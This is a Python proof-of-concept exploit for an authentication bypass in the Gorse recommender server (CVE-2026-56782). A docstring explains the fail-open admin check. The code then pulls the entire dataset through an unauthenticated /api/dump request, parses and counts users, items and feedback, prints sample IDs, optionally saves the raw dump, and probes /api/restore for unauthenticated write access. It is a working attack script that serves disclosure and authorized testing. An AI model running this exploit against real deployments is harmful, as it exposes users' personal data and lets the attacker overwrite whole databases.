README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-56782 - Gorse < 0.5.10 - Unauthenticated database dump / restore (auth bypass)
The master HTTP server gates /api/dump and /api/restore behind checkAdmin():
func (m *Master) checkAdmin(request *http.Request) bool {
if m.Config.Master.AdminAPIKey == "" {
return true // fail-open: no key => everyone is admin
}
if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
return true
}
return false
}
`admin_api_key` is empty in the shipped config, so an unauthenticated attacker can:
* GET /api/dump -> stream the entire dataset (users, items, feedback / PII)
* POST /api/restore -> overwrite the entire dataset
This PoC reads the dump stream and counts the exfiltrated records, then probes
/api/restore to show it is reachable without authentication.
Dump stream format (master/rest.go):
int64 LE section markers: UserStream=-1, ItemStream=-2, FeedbackStream=-3, EOF=0
each record: int64 LE length prefix (>0) followed by that many protobuf bytes.
Author: Caio Fabricio (BiiTts) - https://github.com/BiiTts
For authorized security testing only.
"""
import argparse
import struct
import sys
import urllib.request
def _read_exact(resp, n):
buf = b""
while len(buf) < n:
chunk = resp.read(n - len(buf))
if not chunk:
break
buf += chunk
return buf
def _pb_first_string(record):
"""Extract field #1 (UserId/ItemId, wire type 2) from a protobuf record."""
if not record or record[0] != 0x0A: # tag: field 1, wire type 2
return None
i, length = 1, 0
shift = 0
while i < len(record):
b = record[i]
length |= (b & 0x7F) << shift
i += 1
if not (b & 0x80):
break
shift += 7
return record[i:i + length].decode("utf-8", "replace")
def dump(base, out_path):
url = base.rstrip("/") + "/api/dump"
print(f"[*] GET {url} (no X-API-Key header)")
req = urllib.request.Request(url) # deliberately unauthenticated
resp = urllib.request.urlopen(req, timeout=120)
print(f"[*] HTTP {resp.status} content-type: {resp.headers.get('Content-Type')}")
if resp.status != 200:
print("[!] Not 200 - target likely patched or admin_api_key is set.")
return
sections = {-1: "users", -2: "items", -3: "feedback"}
counts = {"users": 0, "items": 0, "feedback": 0}
samples = {"users": [], "items": []}
cur = None
total = 0
fh = open(out_path, "wb") if out_path else None
try:
while True:
hdr = _read_exact(resp, 8)
if len(hdr) < 8:
break
(val,) = struct.unpack("<q", hdr)
if fh:
fh.write(hdr)
if val == 0: # EOF marker
break
if val < 0: # section marker
cur = sections.get(val)
continue
record = _read_exact(resp, val) # val > 0 => record length
if fh:
fh.write(record)
total += len(record)
if cur:
counts[cur] += 1
if cur in samples and len(samples[cur]) < 5:
s = _pb_first_string(record)
if s:
samples[cur].append(s)
finally:
if fh:
fh.close()
print("\n[+] UNAUTHENTICATED DATA EXFILTRATION CONFIRMED")
print(f" users : {counts['users']}")
print(f" items : {counts['items']}")
print(f" feedback : {counts['feedback']}")
print(f" payload : {total} protobuf bytes")
if samples["users"]:
print(f" sample user ids : {', '.join(samples['users'])}")
if samples["items"]:
print(f" sample item ids : {', '.join(samples['items'])}")
if out_path:
print(f" raw dump saved : {out_path}")
def restore_probe(base):
url = base.rstrip("/") + "/api/restore"
# Minimal valid stream: just an EOF marker (int64 0) -> a no-op restore.
body = struct.pack("<q", 0)
req = urllib.request.Request(url, data=body, method="POST")
print(f"\n[*] POST {url} (no X-API-Key header, EOF-only body)")
try:
resp = urllib.request.urlopen(req, timeout=30)
code = resp.status
except urllib.error.HTTPError as e:
code = e.code
if code == 401:
print(f"[!] HTTP {code} - restore is authenticated (patched / key set).")
else:
print(f"[+] HTTP {code} (not 401) - checkAdmin bypassed: /api/restore is writable unauthenticated.")
def main():
ap = argparse.ArgumentParser(description="CVE-2026-56782 Gorse unauth dump/restore PoC")
ap.add_argument("target", help="Gorse master base URL, e.g. http://127.0.0.1:8088")
ap.add_argument("-o", "--out", default=None, help="Save the raw dump stream to this file")
ap.add_argument("--no-restore", action="store_true", help="Skip the /api/restore probe")
args = ap.parse_args()
dump(args.target, args.out)
if not args.no_restore:
restore_probe(args.target)
return 0
if __name__ == "__main__":
sys.exit(main())